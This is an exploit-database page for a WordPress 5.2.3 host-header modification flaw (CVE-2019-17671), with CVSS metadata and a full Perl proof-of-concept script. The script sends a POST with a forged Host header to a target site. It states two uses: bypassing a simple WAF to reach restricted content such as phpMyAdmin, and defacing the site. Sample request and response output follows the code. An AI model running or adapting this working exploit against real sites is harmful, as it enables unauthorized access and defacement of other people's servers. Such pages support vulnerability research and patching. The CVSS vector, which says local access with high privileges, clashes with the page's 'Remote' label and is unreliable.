Exploitalert - Database of Exploits

WordPress 5.2.3 Remote Cross Site Host Modification

CVE	Category	Price	Severity
CVE-2019-17671	CWE-352	Not specified	Critical

Author	Risk	Exploitation Type	Date
ExploitAlert Team	High	Remote	2019-09-08

CVSS	EPSS	EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:H/UI:N/S:U/C:H/I:H/A:N

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements	Present	AT	The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required	High	PR	The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	None	A	There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

https://cxsecurity.com/ascii/WLB-2019090049

WordPress 5.2.3 Remote Cross Site Host Modification

#!/usr/bin/perl -w # # Wordpress <= 5.2.3 Remote Cross Site Host Modification Proof Of Concept Demo Exploit # # Copyright 2019 (c) Todor Donev <todor.donev at gmail.com> # # Type: Remote # Risk: High # # Solution: # Set security headers to web server and no-cache for Cache-Control # # Simple Attack Scenarios: # # o This attack can bypass Simple WAF to access restricted content on the web server, # something like phpMyAdmin; # # o This attack can deface the vulnerable Wordpress website with content from the default vhost; # # Disclaimer: # This or previous programs are for Educational purpose ONLY. Do not use it without permission. # The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages # caused by direct or indirect use of the information or functionality provided by these programs. # The author or any Internet provider bears NO responsibility for content or misuse of these programs # or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss, # system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's # responsibility. # # Use them at your own risk! # # # Wordpress <= 5.2.3 Remote Cross Site Host Modification Proof Of Concept Demo Exploit ## ==================================================================================== ## Author: Todor Donev 2019 (c) <todor.donev at gmail.com> ## > Host => default-vhost.com ## > User-Agent => Mozilla/5.0 (compatible; Konqueror/3.5; NetBSD 4.0_RC3; X11) KHTML/3.5.7 (like Gecko) ## > Content-Type => application/x-www-form-urlencoded ## < Connection => close ## < Date => Fri, 06 Sep 2019 11:39:43 GMT ## < Location => https://default-vhost.com/ ## < Server => nginx ## < Content-Type => text/html; charset=UTF-8 ## < Client-Date => Fri, 06 Sep 2019 11:39:43 GMT ## < Client-Peer => 13.37.13.37:443 ## < Client-Response-Num => 1 ## < Client-SSL-Cert-Issuer => /C=US/O=Let's Encrypt/CN=Let's Encrypt Authority X3 ## < Client-SSL-Cert-Subject => /CN=default-vhost.com ## < Client-SSL-Cipher => ECDHE-RSA-AES256-GCM-SHA384 ## < Client-SSL-Socket-Class => IO::Socket::SSL ## < Client-SSL-Warning => Peer certificate not verified ## < Client-Transfer-Encoding => chunked ## < Strict-Transport-Security => max-age=31536000; ## < X-Powered-By => PHP/7.3.9 ## < X-Redirect-By => WordPress ## ==================================================================================== # # # use strict; use v5.10; use HTTP::Request; use LWP::UserAgent; use WWW::UserAgent::Random; my $host = shift || ''; my $attacker = shift || 'default-vhost.com'; say "# Wordpress <= 5.2.3 Remote Cross Site Host Modification Proof Of Concept Demo Exploit # ==================================================================================== # Author: Todor Donev 2019 (c) <todor.donev at gmail.com>"; if ($host !~ m/^http/){ say "# e.g. perl $0 https://target:port/ default-vhost.com"; exit; } my $user_agent = rand_ua("browsers"); my $browser = LWP::UserAgent->new( protocols_allowed => ['http', 'https'], ssl_opts => { verify_hostname => 0 } ); $browser->timeout(10); $browser->agent($user_agent); my $request = HTTP::Request->new (POST => $host,[Content_Type => "application/x-www-form-urlencoded"], " "); $request->header("Host" => $attacker); my $response = $browser->request($request); say "# 401 Unauthorized!\n" and exit if ($response->code eq '401'); say "# > $_ => ", $request->header($_) for $request->header_field_names; say "# < $_ => ", $response->header($_) for $response->header_field_names; say "# ====================================================================================";

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